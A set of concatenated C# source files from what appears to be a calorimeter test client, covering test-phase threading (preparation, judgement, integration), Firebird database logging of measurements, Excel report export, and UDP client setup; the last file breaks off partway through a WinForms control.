private EWT330Wiring GetWiringODU(EConditionRated rated, EIndoorMode mode)
{
return Condition.Rateds[rated][(int)mode].Wiring;
}
private string GetNameIDU(int index)
{
int i = 0;
int j = 0;
string sRet = "None";
foreach (PowerMeterRow<float> row in Resource.Client.Devices.PowerMeter.Rows)
{
if (row.Phase == EWT330Phase.P1)
{
if (j == index)
{
sRet = row.Name;
break;
}
else
{
j++;
}
}
i++;
}
return sRet;
}
private string GetNameODU(int index)
{
int i = 0;
int j = 0;
string sRet = "None";
foreach (PowerMeterRow<float> row in Resource.Client.Devices.PowerMeter.Rows)
{
if (row.Phase == EWT330Phase.P3)
{
if (j == index)
{
sRet = row.Name;
break;
}
else
{
j++;
}
}
i++;
}
return sRet;
}
private void LoadMeasuredValues()
{
int i = 0;
int j = 0;
Resource.Client.Listener.Lock();
try
{
foreach (KeyValuePair<string, ValueRow> row in Value.Measured)
{
if (i < Resource.Client.Listener.FValues.Length)
{
row.Value.StoredValue = Resource.Client.Listener.FValues[i++];
}
else
{
row.Value.StoredValue = Resource.Client.Listener.NValues[j++];
}
if (row.Value.Unit.Type == EUnitType.Temperature)
{
if (row.Value.Value < csLimitedTemp)
{
row.Value.Value = csMinimumTemp;
}
}
}
}
finally
{
Resource.Client.Listener.Unlock();
}
}
}
#endregion
}<file_sep>using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using FirebirdSql.Data.FirebirdClient;
using Ulee.Device.Connection.Yokogawa;
using Ulee.DllImport.Win32;
using Ulee.Threading;
using Ulee.Utils;
namespace Hnc.Calorimeter.Client
{
public enum ETestMessage
{
None,
Next,
Reset
}
public enum ETestStep
{
None,
Preparation,
Judgement,
Integration
}
public enum EWorkSheet
{
Current = -1,
Title,
I1,
I2,
I3,
I4,
I5,
I6,
I7
}
public class TestDescriptionArgs : EventArgs
{
public TestDescriptionArgs()
{
Index = 0;
Name = "None";
Step = ETestStep.None;
}
public int Index { get; set; }
public string Name { get; set; }
public ETestStep Step { get; set; }
public long ElapsedTime { get; set; }
public long TotalElapsedTime { get; set; }
public long PrepareCurTime { get; set; }
public long PrepareMaxTime { get; set; }
public long JudgeCurTime { get; set; }
public long JudgeMaxTime { get; set; }
public long IntegCurTime { get; set; }
public long IntegMaxTime { get; set; }
public int JudgeCount { get; set; }
public int JudgeMax { get; set; }
public int RepeatCount { get; set; }
public int RepeatMax { get; set; }
public int ScheduleCount { get; set; }
public int ScheduleMax { get; set; }
}
public class TestSpreadSheetArgs : EventArgs
{
public TestSpreadSheetArgs()
{
Index = EWorkSheet.Title;
SettingAverage = false;
Report = null;
}
public EWorkSheet Index { get; set; }
public bool SettingAverage { get; set; }
public TestReport Report { get; set; }
}
public class CalorimeterTestThread : UlThread
{
public CalorimeterTestThread(TestContext context) : base(false, true)
{
InvalidContext = false;
this.context = context;
this.prevRawTicks = 0;
this.totalWatch = new Stopwatch();
this.sheetArgs = new TestSpreadSheetArgs();
this.descArgs = new TestDescriptionArgs();
this.descArgs.Index = context.Handle;
Priority = ThreadPriority.Highest;
}
private const int csInvalidTime = 1000;
private const int csOneMiniteMsec = 60000;
private long prevRawTicks;
private Stopwatch totalWatch;
private TestContext context;
private TestDescriptionArgs descArgs;
private TestSpreadSheetArgs sheetArgs;
public bool InvalidContext { get; set; }
public event EventHandler ClearSpreadSheet = null;
protected void OnClearSpreadSheet()
{
ClearSpreadSheet?.Invoke(null, null);
}
public event EventHandler ClearGraph = null;
protected void OnClearGraph()
{
ClearGraph?.Invoke(null, null);
}
public event EventHandler SetSpreadSheet = null;
protected void OnSetSpreadSheet()
{
SetSpreadSheet?.Invoke(null, sheetArgs);
}
public event EventHandler DispState = null;
public event EventHandler DispStateMainForm = null;
protected void OnDispState()
{
DispState?.Invoke(null, descArgs);
DispStateMainForm?.Invoke(null, descArgs);
}
public event EventInt64Handler InvalidGraph = null;
protected void OnInvalidGraph(long ticks)
{
InvalidGraph?.Invoke(null, ticks);
}
public event EventBoolHandler SetToggleButtonState = null;
protected void OnSetToggleButtonState(bool enabled)
{
SetToggleButtonState?.Invoke(null, enabled);
}
public void Lock()
{
Monitor.Enter(this);
}
public void Unlock()
{
Monitor.Exit(this);
}
protected override void Execute()
{
Watch.Stop();
totalWatch.Stop();
DateTime endTime;
TimeSpan elapsedTime;
ConditionSchedule sch;
TestValue value = context.Value;
ConditionMethod method = context.Condition.Method;
List<ConditionSchedule> schedules = context.Condition.Schedules;
try
{
descArgs.ScheduleCount = 0;
descArgs.ScheduleMax = schedules.Count;
descArgs.TotalElapsedTime = 0;
for (int i = 0; i < schedules.Count; i++)
{
sch = schedules[i];
if (sch.Use == false) continue;
context.Index = i;
context.Initialize();
context.Report.Initialize();
sheetArgs.Report = context.Report;
value.Integral.Initialize(method.ScanTime, method.IntegralTime, sch);
descArgs.Name = sch.Name;
descArgs.Step = ETestStep.None;
descArgs.RepeatMax = sch.Repeat;
descArgs.ScheduleCount = i + 1;
for (int j = 0; j < sch.Repeat; j++)
{
value.Integral.Clear();
context.Report.Clear();
OnClearSpreadSheet();
sheetArgs.Index = EWorkSheet.Title;
OnSetSpreadSheet();
descArgs.RepeatCount = j + 1;
descArgs.JudgeMax = sch.NoOfSteady;
descArgs.JudgeCount = 0;
descArgs.JudgeMaxTime = sch.Judge * csOneMiniteMsec;
descArgs.JudgeCurTime = 0;
descArgs.IntegMaxTime = method.IntegralTime * method.IntegralCount * csOneMiniteMsec;
descArgs.IntegCurTime = 0;
OnDispState();
InsertDataHead();
prevRawTicks = 0;
context.Value.Saving = true;
OnInvalidGraph(0);
Watch.Restart();
totalWatch.Start();
try
{
DoPreparation(sch);
DoJudgement(sch);
DoIntegration(method);
}
finally
{
endTime = DateTime.Now;
elapsedTime = endTime.Subtract(context.Report.RegTime);
totalWatch.Stop();
Watch.Stop();
context.Value.Saving = false;
InsertAllDataRaw();
string capacity = GetSheetAverageValue("Total.Capacity");
string power = GetSheetAverageValue("Total.Power");
string eer_cop = GetSheetAverageValue("Total.EER_COP");
UpdateDataBook(endTime, elapsedTime, capacity, power, eer_cop, ETestState.Done);
SaveSpreadSheet();
OnClearGraph();
descArgs.Step = ETestStep.None;
OnDispState();
}
}
}
PostMessage(Resource.WM_TEST_NORMAL_TERMINATED);
}
catch (UlThreadTerminatedException)
{
UpdateDataBook(ETestState.Stopped);
PostMessage(Resource.WM_TEST_ABNORMAL_TERMINATED);
}
}
private string GetSheetAverageValue(string tag)
{
string sValue = "";
foreach (KeyValuePair<string, ReportSheet> sheet in sheetArgs.Report.ValueSheets)
{
if (sheet.Value.Use == false) continue;
foreach (KeyValuePair<string, ReportRow> row in sheet.Value.Rows)
{
if (row.Key == tag)
{
if (row.Value.Row == null) break;
sValue = $"{row.Value.Row.Unit.Convert(row.Value.Average).ToString(row.Value.Row.Format)} {row.Value.Row.Unit.ToDescription}";
goto lbEnd;
}
}
}
lbEnd:
return sValue;
}
private void UpdateDataBook(ETestState state)
{
if (context.Report.RecNo < 0) return;
context.DB.Lock();
try
{
FbTransaction trans = context.DB.BeginTrans();
try
{
DataBookDataSet set = context.DB.DataBookSet;
set.RecNo = context.Report.RecNo;
set.Update(state, trans);
context.DB.CommitTrans();
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
context.DB.RollbackTrans();
}
}
finally
{
context.DB.Unlock();
}
}
private void UpdateDataBook(DateTime time, TimeSpan elpased,
string capacity, string power, string eer_cop, ETestState state)
{
if (context.Report.RecNo < 0) return;
context.DB.Lock();
try
{
FbTransaction trans = context.DB.BeginTrans();
try
{
DataBookDataSet set = context.DB.DataBookSet;
set.RecNo = context.Report.RecNo;
set.EndTime = time.ToString(Resource.csDateTimeFormat);
set.ElapsedTime = elpased.ToString(@"ddd\.hh\:mm\:ss");
set.TotalCapacity = capacity;
set.TotalPower = power;
set.TotalEER_COP = eer_cop;
set.State = state;
set.Update(trans);
context.DB.CommitTrans();
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
context.DB.RollbackTrans();
}
}
finally
{
context.DB.Unlock();
}
}
private void PostMessage(int msg, int wParam=0, int lParam=0)
{
Win32.PostMessage(context.WndHandle, msg, (IntPtr)wParam, (IntPtr)lParam);
}
private void DoPreparation(ConditionSchedule sch)
{
bool repeat = true;
descArgs.Step = ETestStep.Preparation;
while (repeat == true)
{
try
{
descArgs.Step = ETestStep.Preparation;
descArgs.PrepareMaxTime = sch.PreRun * csOneMiniteMsec;
descArgs.PrepareCurTime = 0;
OnDispState();
Preparation();
repeat = false;
}
catch (UlThreadTerminatedException e)
{
ClearCurrentValues();
switch ((ETestMessage)e.Code)
{
case ETestMessage.None:
throw e;
case ETestMessage.Next:
repeat = false;
break;
case ETestMessage.Reset:
repeat = true;
break;
}
}
}
}
private void Preparation()
{
long ticks;
long maxTicks = descArgs.PrepareMaxTime;
long prevTicks = ElapsedMilliseconds;
long startTicks = prevTicks;
int scanCount = 0;
while (Terminated == false)
{
ticks = ElapsedMilliseconds;
if (IsTimeoutMilliseconds(prevTicks, csInvalidTime) == true)
{
prevTicks += csInvalidTime;
descArgs.ElapsedTime = ticks - startTicks;
descArgs.TotalElapsedTime = totalWatch.ElapsedMilliseconds;
descArgs.PrepareCurTime = descArgs.ElapsedTime;
OnDispState();
DispCurrentValues();
scanCount++;
if (scanCount >= context.Condition.Method.ScanTime)
{
OnInvalidGraph(ticks);
scanCount = 0;
}
DecideJudgement();
}
if (IsTimeoutMilliseconds(startTicks, maxTicks) == true)
{
descArgs.PrepareCurTime = maxTicks;
break;
}
SaveDataRaw();
RefreshContext();
maxTicks = descArgs.PrepareMaxTime;
Yield();
}
}
private void DoJudgement(ConditionSchedule sch)
{
bool repeat = true;
try
{
while (repeat == true)
{
try
{
descArgs.Step = ETestStep.Judgement;
descArgs.JudgeMax = sch.NoOfSteady;
descArgs.JudgeCount = 0;
descArgs.JudgeMaxTime = sch.Judge * csOneMiniteMsec;
descArgs.JudgeCurTime = 0;
OnDispState();
Judgement();
repeat = false;
}
catch (UlThreadTerminatedException e)
{
ClearCurrentValues();
switch ((ETestMessage)e.Code)
{
case ETestMessage.None:
throw e;
case ETestMessage.Next:
repeat = false;
break;
case ETestMessage.Reset:
repeat = true;
break;
}
}
}
}
finally
{
context.Value.Integral.Clear("Judge");
}
}
private void Judgement()
{
long ticks;
long maxTicks = descArgs.JudgeMaxTime;
long prevTicks = ElapsedMilliseconds;
long prevJudgeTicks = prevTicks;
long startTicks = prevTicks;
int scanCount = 0;
while (Terminated == false)
{
ticks = ElapsedMilliseconds;
if (IsTimeoutMilliseconds(prevTicks, csInvalidTime) == true)
{
prevTicks += csInvalidTime;
descArgs.ElapsedTime = ticks - startTicks;
descArgs.TotalElapsedTime = totalWatch.ElapsedMilliseconds;
descArgs.JudgeCurTime = descArgs.ElapsedTime;
OnDispState();
DispCurrentValues();
scanCount++;
if (scanCount >= context.Condition.Method.ScanTime)
{
OnInvalidGraph(ticks);
scanCount = 0;
}
if (context.Value.Integral.IgnoreJudgement == false)
{
DecideJudgement();
}
}
if (IsTimeoutMilliseconds(prevJudgeTicks, csOneMiniteMsec) == true)
{
prevJudgeTicks += csOneMiniteMsec;
if (context.Value.Integral.IgnoreJudgement == false)
{
if (IsSteadyAll() == true) descArgs.JudgeCount++;
if (descArgs.JudgeCount >= descArgs.JudgeMax) break;
}
}
if (IsTimeoutMilliseconds(startTicks, maxTicks) == true)
{
if (context.Value.Integral.IgnoreJudgement == true)
{
descArgs.JudgeCurTime = maxTicks;
break;
}
if (Resource.Settings.Options.ForcedInteg == true)
{
descArgs.JudgeCurTime = maxTicks;
break;
}
else
{
throw new UlThreadTerminatedException((int)ETestMessage.Reset);
}
}
SaveDataRaw();
RefreshContext();
maxTicks = descArgs.JudgeMaxTime;
Yield();
}
}
private bool IsSteadyAll()
{
IntegralValues values = context.Value.Integral["Judge"];
foreach (KeyValuePair<string, IntegralValue> row in values.Values)
{
if (row.Value.State == EValueState.Ng) return false;
}
return true;
}
private void DoIntegration(ConditionMethod method)
{
bool repeat = true;
OnSetToggleButtonState(false);
while (repeat == true)
{
try
{
context.Value.Integral.Clear();
descArgs.Step = ETestStep.Integration;
descArgs.IntegMaxTime = method.IntegralTime * method.IntegralCount * csOneMiniteMsec;
descArgs.IntegCurTime = 0;
OnDispState();
Integration(method);
repeat = false;
}
catch (UlThreadTerminatedException e)
{
ClearValues((int)sheetArgs.Index - 1);
switch ((ETestMessage)e.Code)
{
case ETestMessage.None:
throw e;
case ETestMessage.Next:
repeat = false;
break;
case ETestMessage.Reset:
repeat = true;
break;
}
}
}
OnSetToggleButtonState(true);
}
private void Integration(ConditionMethod method)
{
long ticks;
long maxTicks = descArgs.IntegMaxTime;
long prevTicks = ElapsedMilliseconds;
long integPrevTicks = prevTicks;
long startTicks = prevTicks;
long integTime = method.IntegralTime * csOneMiniteMsec;
int scanCount = 0;
int integCount = 0;
int integMaxCount = method.IntegralCount;
bool needInsert = true;
while (Terminated == false)
{
ticks = ElapsedMilliseconds;
if (needInsert == true)
{
needInsert = false;
InsertDataSheet();
}
if (IsTimeoutMilliseconds(prevTicks, csInvalidTime) == true)
{
prevTicks += csInvalidTime;
descArgs.ElapsedTime = ticks - startTicks;
descArgs.TotalElapsedTime = totalWatch.ElapsedMilliseconds;
descArgs.IntegCurTime = descArgs.ElapsedTime;
OnDispState();
scanCount++;
if (scanCount >= context.Condition.Method.ScanTime)
{
OnInvalidGraph(ticks);
scanCount = 0;
}
DispValues(integCount);
Integrate();
}
if (IsTimeoutMilliseconds(integPrevTicks, integTime) == true)
{
SetIntegralValuesToReport(integCount);
DispIntegralValues(integCount);
InsertDataValue(integCount);
integPrevTicks += integTime;
integCount++;
}
if (IsTimeoutMilliseconds(startTicks, maxTicks) == true)
{
descArgs.IntegCurTime = maxTicks;
break;
}
SaveDataRaw();
Yield();
}
}
private void DecideJudgement()
{
TestValue value = context.Value;
value.Lock();
try
{
value.Integral.IntegrateSheet("Judge");
}
finally
{
value.Unlock();
}
}
private void Integrate()
{
TestValue value = context.Value;
value.Lock();
try
{
value.Integral.Integrate("Judge");
}
finally
{
value.Unlock();
}
}
private void ClearValues(int index)
{
sheetArgs.Report.Lock();
try
{
foreach (KeyValuePair<string, ReportSheet> sheet in sheetArgs.Report.ValueSheets)
{
sheet.Value.ClearData(index);
}
}
finally
{
sheetArgs.Report.Unlock();
}
sheetArgs.Index = (EWorkSheet)index + 1;
sheetArgs.SettingAverage = false;
OnSetSpreadSheet();
}
private void DispValues(int index)
{
sheetArgs.Report.Lock();
try
{
foreach (KeyValuePair<string, ReportSheet> sheet in sheetArgs.Report.ValueSheets)
{
sheet.Value.RefreshData(index);
}
}
finally
{
sheetArgs.Report.Unlock();
}
sheetArgs.Index = (EWorkSheet)index + 1;
sheetArgs.SettingAverage = false;
OnSetSpreadSheet();
}
private void DispIntegralValues(int index)
{
sheetArgs.Index = (EWorkSheet)index + 1;
sheetArgs.SettingAverage = true;
OnSetSpreadSheet();
}
private void ClearCurrentValues()
{
sheetArgs.Report.Lock();
try
{
foreach (KeyValuePair<string, ReportSheet> sheet in sheetArgs.Report.ValueSheets)
{
sheet.Value.ClearData(0);
}
}
finally
{
sheetArgs.Report.Unlock();
}
sheetArgs.Index = EWorkSheet.Current;
sheetArgs.SettingAverage = false;
OnSetSpreadSheet();
}
private void DispCurrentValues()
{
sheetArgs.Report.Lock();
try
{
foreach (KeyValuePair<string, ReportSheet> sheet in sheetArgs.Report.ValueSheets)
{
sheet.Value.RefreshData(0);
}
}
finally
{
sheetArgs.Report.Unlock();
}
sheetArgs.Index = EWorkSheet.Current;
sheetArgs.SettingAverage = false;
OnSetSpreadSheet();
}
private void SetIntegralValuesToReport(int index)
{
TestValue value = context.Value;
Dictionary<string, ReportSheet> reportSheet = sheetArgs.Report.ValueSheets;
value.Lock();
sheetArgs.Report.Lock();
try
{
foreach (KeyValuePair<string, IntegralValues> integSheet in value.Integral.Sheets)
{
if (integSheet.Key == "Judge") continue;
if (reportSheet[integSheet.Key].Use == false) continue;
foreach (KeyValuePair<string, IntegralValue> integValue in integSheet.Value.Values)
{
if (reportSheet[integSheet.Key].Rows[integValue.Key].Row == null)
{
reportSheet[integSheet.Key].Rows[integValue.Key].Cells[index].Raw = float.NaN;
}
else
{
reportSheet[integSheet.Key].Rows[integValue.Key].Cells[index].Raw =
integValue.Value.AverageSum;
}
}
}
}
finally
{
sheetArgs.Report.Unlock();
value.Unlock();
}
}
private void RefreshContext()
{
if (InvalidContext == false) return;
try
{
ConditionSchedule sch = context.Condition.Schedules[context.Index];
ConditionMethod method = context.Condition.Method;
context.RefreshCondition();
context.Report.RefreshCondition();
context.Value.Integral.Initialize(method.ScanTime, method.IntegralTime, sch);
sheetArgs.Index = EWorkSheet.Title;
OnSetSpreadSheet();
descArgs.Name = sch.Name;
descArgs.RepeatMax = sch.Repeat;
descArgs.PrepareMaxTime = sch.PreRun * csOneMiniteMsec;
descArgs.JudgeMaxTime = sch.Judge * csOneMiniteMsec;
descArgs.JudgeMax = sch.NoOfSteady;
OnDispState();
}
finally
{
InvalidContext = false;
}
}
private void SaveDataRaw()
{
if (IsTimeoutMilliseconds(prevRawTicks, csInvalidTime) == true)
{
prevRawTicks += csInvalidTime;
if (context.Report.DataRaw.HalfFull == true)
{
InsertHalfFullDataRaw();
}
}
}
private void SaveSpreadSheet()
{
if (Resource.Settings.Options.AutoExcel == true)
{
string fName;
if (string.IsNullOrWhiteSpace(context.Condition.Schedules[context.Index].Name) == true)
{
fName = $"None_Line{context.Handle + 1}";
}
else
{
fName = $"{context.Condition.Schedules[context.Index].Name}_Line{context.Handle + 1}";
}
fName = Resource.Settings.Options.ExcelPath + "\\" + fName + "_"
+ context.Report.RegTime.ToString("yyyyMMddHHmmss") + ".xlsx";
try
{
context.Measure.Control.Workbook.SaveDocument(fName);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
}
}
}
private void InsertDataValue(int index)
{
TestValue value = context.Value;
context.DB.Lock();
try
{
value.Lock();
sheetArgs.Report.Lock();
FbTransaction trans = context.DB.BeginTrans();
try
{
foreach (KeyValuePair<string, ReportSheet> sheet in sheetArgs.Report.ValueSheets)
{
if (sheet.Value.Use == false) continue;
foreach (KeyValuePair<string, ReportRow> row in sheet.Value.Rows)
{
SetDataValue(index, row.Value);
context.DB.DataValueSet.Insert(trans);
}
}
context.DB.CommitTrans();
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
context.DB.RollbackTrans();
}
finally
{
sheetArgs.Report.Unlock();
value.Unlock();
}
}
finally
{
context.DB.Unlock();
}
}
private void InsertHalfFullDataRaw()
{
DataRaw raw = null;
context.DB.Lock();
try
{
context.Report.Lock();
FbTransaction trans = context.DB.BeginTrans();
try
{
for (int i = 0; i < context.Report.DataRaw.Count; i++)
{
raw = context.Report.DataRaw.HalfFullDataRaw;
if (raw == null) break;
ValueStorageRaw storageRaw = raw.Row.Storage.HalfFullValues;
if (raw.RecNo < 0)
{
InsertDataRawUnit(trans, context.DB.DataRawUnitSet, raw);
}
InsertDataRaw(trans, context.DB.DataRawSet, storageRaw, raw.RecNo);
}
context.DB.CommitTrans();
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
context.DB.RollbackTrans();
}
finally
{
context.Report.Unlock();
}
}
finally
{
context.DB.Unlock();
}
}
private void InsertAllDataRaw()
{
DataRaw raw = null;
context.DB.Lock();
try
{
context.Value.Lock();
context.Report.Lock();
FbTransaction trans = context.DB.BeginTrans();
try
{
ValueStorageRaw storageRaw;
foreach (KeyValuePair<string, DataRaw> dataRaw in context.Report.DataRaw.Rows)
{
raw = dataRaw.Value;
if (raw.Row.Storage.HalfFull == true)
{
storageRaw = raw.Row.Storage.HalfFullValues;
if (raw.RecNo < 0)
{
InsertDataRawUnit(trans, context.DB.DataRawUnitSet, raw);
}
InsertDataRaw(trans, context.DB.DataRawSet, storageRaw, raw.RecNo);
}
storageRaw = raw.Row.Storage.CurrentValues;
if (storageRaw != null)
{
if (raw.RecNo < 0)
{
InsertDataRawUnit(trans, context.DB.DataRawUnitSet, raw);
}
InsertDataRaw(trans, context.DB.DataRawSet, storageRaw, raw.RecNo);
}
Win32.SwitchToThread();
}
context.DB.CommitTrans();
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
context.DB.RollbackTrans();
}
finally
{
context.Report.Unlock();
context.Value.Unlock();
}
}
finally
{
context.DB.Unlock();
}
}
private void InsertDataRawUnit(FbTransaction trans, DataRawUnitDataSet set, DataRaw raw)
{
raw.RecNo = context.DB.GetGenNo("GN_DATARAWUNIT");
set.RecNo = raw.RecNo;
set.DataBookNo = context.Report.RecNo;
set.DataName = raw.Row.Name;
set.UnitType = (int)raw.Row.Unit.Type;
set.UnitFrom = (int)raw.Row.Unit.From;
set.UnitTo = (int)raw.Row.Unit.To;
set.Insert(trans);
}
private void InsertDataRaw(FbTransaction trans, DataRawDataSet set, ValueStorageRaw storageRaw, Int64 rawUnitNo)
{
set.RecNo = context.DB.GetGenNo("GN_DATARAW");
set.DataRawUnitNo = rawUnitNo;
set.RegTime = storageRaw.RegTime.ToString(Resource.csDateTimeFormat);
set.ScanTime = context.Report.Method.ScanTime;
set.DataRaw = ExtractDataRaw(storageRaw.RawValues, set.ScanTime);
set.Insert(trans);
}
private void InsertDataHead()
{
context.DB.Lock();
try
{
context.Report.Lock();
FbTransaction trans = context.DB.BeginTrans();
try
{
SetDataBook();
context.DB.DataBookSet.Insert(trans);
context.DB.CommitTrans();
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
context.DB.RollbackTrans();
}
finally
{
context.Report.Unlock();
}
}
finally
{
context.DB.Unlock();
}
}
private void InsertDataSheet()
{
context.DB.Lock();
try
{
context.Report.Lock();
FbTransaction trans = context.DB.BeginTrans();
try
{
foreach (KeyValuePair<string, ReportSheet> sheet in context.Report.ValueSheets)
{
try
{
SetDataSheet(context.Report.RecNo, sheet.Key, sheet.Value);
context.DB.DataSheetSet.Insert(trans);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
throw e;
}
int i = 0;
string name;
foreach (KeyValuePair<string, ReportRow> row in sheet.Value.Rows)
{
if (row.Value != null)
{
try
{
if (sheet.Value.TcTags != null)
{
name = sheet.Value.TcTags[i].Name;
}
else
{
name = row.Key;
}
SetDataValueUnit(sheet.Value.RecNo, name, row.Value);
context.DB.DataValueUnitSet.Insert(trans);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
throw e;
}
}
i++;
}
}
context.DB.CommitTrans();
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
context.DB.RollbackTrans();
}
finally
{
context.Report.Unlock();
}
}
finally
{
context.DB.Unlock();
}
}
private void UpdateDataSheet()
{
context.DB.Lock();
try
{
context.Report.Lock();
FbTransaction trans = context.DB.BeginTrans();
try
{
DataSheetDataSet set = context.DB.DataSheetSet;
foreach (KeyValuePair<string, ReportSheet> sheet in context.Report.ValueSheets)
{
try
{
set.RecNo = sheet.Value.RecNo;
set.IDTemp = $"{sheet.Value.IndoorDB:f2} / {sheet.Value.IndoorWB:f2} ℃";
set.ODTemp = $"{sheet.Value.OutdoorDB:f2} / {sheet.Value.OutdoorWB:f2} ℃";
context.DB.DataSheetSet.UpdateTemp(trans);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
throw e;
}
}
context.DB.CommitTrans();
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
context.DB.RollbackTrans();
}
finally
{
context.Report.Unlock();
}
}
finally
{
context.DB.Unlock();
}
}
private void SetDataBook()
{
ValueRow row;
ConditionNote note = context.Report.Note;
ConditionRated rated = context.Report.Rated;
ConditionMethod method = context.Report.Method;
DataBookDataSet set = context.DB.DataBookSet;
context.Report.RecNo = context.DB.GetGenNo("GN_DATABOOK");
context.Report.RegTime = DateTime.Now;
set.RecNo = context.Report.RecNo;
set.UserNo = Resource.UserNo;
set.BeginTime = context.Report.RegTime.ToString(Resource.csDateTimeFormat);
set.EndTime = set.BeginTime;
set.ElapsedTime = "00 00:00:00";
set.TestLine = context.Handle;
set.IntegCount = method.IntegralCount;
set.IntegTime = method.IntegralTime;
set.ScanTime = method.ScanTime;
set.Company = note.Company;
set.TestName = note.Name;
set.TestNo = note.No;
set.Observer = note.Observer;
set.Maker = note.Maker;
set.Model1 = note.Model1;
set.Serial1 = note.Serial1;
set.Model2 = note.Model2;
set.Serial2 = note.Serial2;
set.Model3 = note.Model3;
set.Serial3 = note.Serial3;
set.ExpDevice = note.ExpDevice;
set.Refrige = note.Refrigerant;
set.RefCharge = note.RefCharge;
row = context.Value.Calcurated["Total.Capacity"];
set.Capacity = $"{rated.Capacity.ToString(row.Format)} {row.Unit.ToDescription}";
row = context.Value.Calcurated["Total.Power"];
set.PowerInput = $"{rated.PowerInput.ToString(row.Format)} {row.Unit.ToDescription}";
row = context.Value.Calcurated["Total.EER_COP"];
set.EER_COP = $"{rated.EER_COP.ToString(row.Format)} {row.Unit.ToDescription}";
set.PowerSource = $"{rated.Voltage}V / {rated.Current}A / {rated.Frequency}Hz / {EnumHelper.GetNames<EWT330Wiring>()[(int)rated.Wiring]}";
set.TotalCapacity = "0.0 kcal/h";
set.TotalPower = "0.0 W";
set.TotalEER_COP = "0.0 kcal/hW";
set.Memo = note.Memo;
set.State = ETestState.Testing;
}
private void SetDataSheet(Int64 dataBookNo, string key, ReportSheet sheet)
{
DataSheetDataSet set = context.DB.DataSheetSet;
sheet.RecNo = context.DB.GetGenNo("GN_DATASHEET");
set.RecNo = sheet.RecNo;
set.DataBookNo = dataBookNo;
set.SheetName = key;
set.Use = sheet.Use;
set.IDTemp = $"{sheet.IndoorDB:f2} / {sheet.IndoorWB:f2} ℃";
if (sheet.IndoorUse == EIndoorUse.NotUsed)
set.IDState = $"{sheet.IndoorUse.ToDescription()}";
else
set.IDState = $"{sheet.IndoorUse.ToDescription()}, {sheet.IndoorMode.ToDescription()}";
set.ODTemp = $"{sheet.OutdoorDB:f2} / {sheet.OutdoorWB:f2} ℃";
if (sheet.OutdoorDP == EEtcUse.Use)
set.ODState = $"{sheet.OutdoorUse}, DP Used";
else
set.ODState = $"{sheet.OutdoorUse}";
set.NozzleName = sheet.NozzleName;
set.NozzleState = sheet.NozzleState;
}
private void SetDataValueUnit(Int64 sheetNo, string key, ReportRow row)
{
DataValueUnitDataSet set = context.DB.DataValueUnitSet;
row.RecNo = context.DB.GetGenNo("GN_DATAVALUEUNIT");
set.RecNo = row.RecNo;
set.DataSheetNo = sheetNo;
set.ValueName = key;
if (row.Row == null)
{
set.UnitType = 0;
set.UnitFrom = 0;
set.UnitTo = 0;
set.Format = "0.0";
}
else
{
set.UnitType = (int)row.Row.Unit.Type;
set.UnitFrom = (int)row.Row.Unit.From;
set.UnitTo = (int)row.Row.Unit.To;
set.Format = row.Row.Format;
}
}
private void SetDataValue(int index, ReportRow row)
{
DataValueDataSet set = context.DB.DataValueSet;
set.RecNo = context.DB.GetGenNo("GN_DATAVALUE");
set.DataValueUnitNo = row.RecNo;
set.DataNo = index;
set.DataValue = row.Cells[index].Raw;
}
private float[] ExtractDataRaw(float[] raws, int count)
{
int loopCount = raws.Length / count;
if ((raws.Length % count) != 0) loopCount++;
float[] newRaws = new float[loopCount];
for (int i = 0; i < loopCount; i++)
{
newRaws[i] = raws[i * count];
}
return newRaws;
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading.Tasks;
using Ulee.Utils;
namespace Hnc.Calorimeter.Client
{
public class CalorimeterClient
{
public CalorimeterClient(UlIniFile ini)
{
Ini = ini;
string ip = Ini.GetString("Server", "ip");
int port = Ini.GetInteger("Server", "port");
IpPoint = new IPEndPoint(
IPAddress.Parse(ip), port);
Udp = new UdpClient();
Listener = new ClientListener(this);
Sender = new ClientSender(this);
Devices = new ClientDevice(this);
}
public UlIniFile Ini;
public UdpClient Udp { get; private set; }
public IPEndPoint IpPoint { get; private set; }
public ClientDevice Devices { get; private set; }
public ClientListener Listener { get; private set; }
public ClientSender Sender { get; private set;}
public void Connect()
{
Sender.Connect();
}
public void Disconnect()
{
Sender.Disconnect();
}
public void Resume()
{
Listener.Resume();
}
public void Suspend()
{
Listener.Suspend();
}
public void Terminate()
{
Listener.Terminate();
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Drawing;
using System.Data;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using DevExpress.Utils;
using Ulee.Controls;
using Ulee.Utils;
using Ulee.Device.Connection.Yokogawa;
namespace Hnc.Calorimeter.Client
{
public enum ETestRatedField
{
Capacity,
Power,
EER_COP,
Voltage,
Current,
Frequency,
PM_IDU,
PM_ODU,
Phase
}
public partial class CtrlTestRated : UlUserControlEng
{
public CtrlTestRated(EConditionRated index, Dictionary<string, ValueRow> values)
{
InitializeComponent();
CoolingRecNo = -1;
HeatingRecNo = -1;
Index = index;
Initialize(values);
}
public int CoolingRecNo { get; set; }
public int HeatingRecNo { get; set; }
public EConditionRated Index { get; private set; }
private List<Label> unitCoolingLabels;
private List<Label> unitHeatingLabels;
private RatedPowerMeterArgs powerArgs;
public event EventHandler CalcCapacity;
private void OnCalcTotalCapacity(object sender, EventArgs args)
{
CalcCapacity?.Invoke(sender, args);
}
public event EventHandler ChangedPowerMeter;
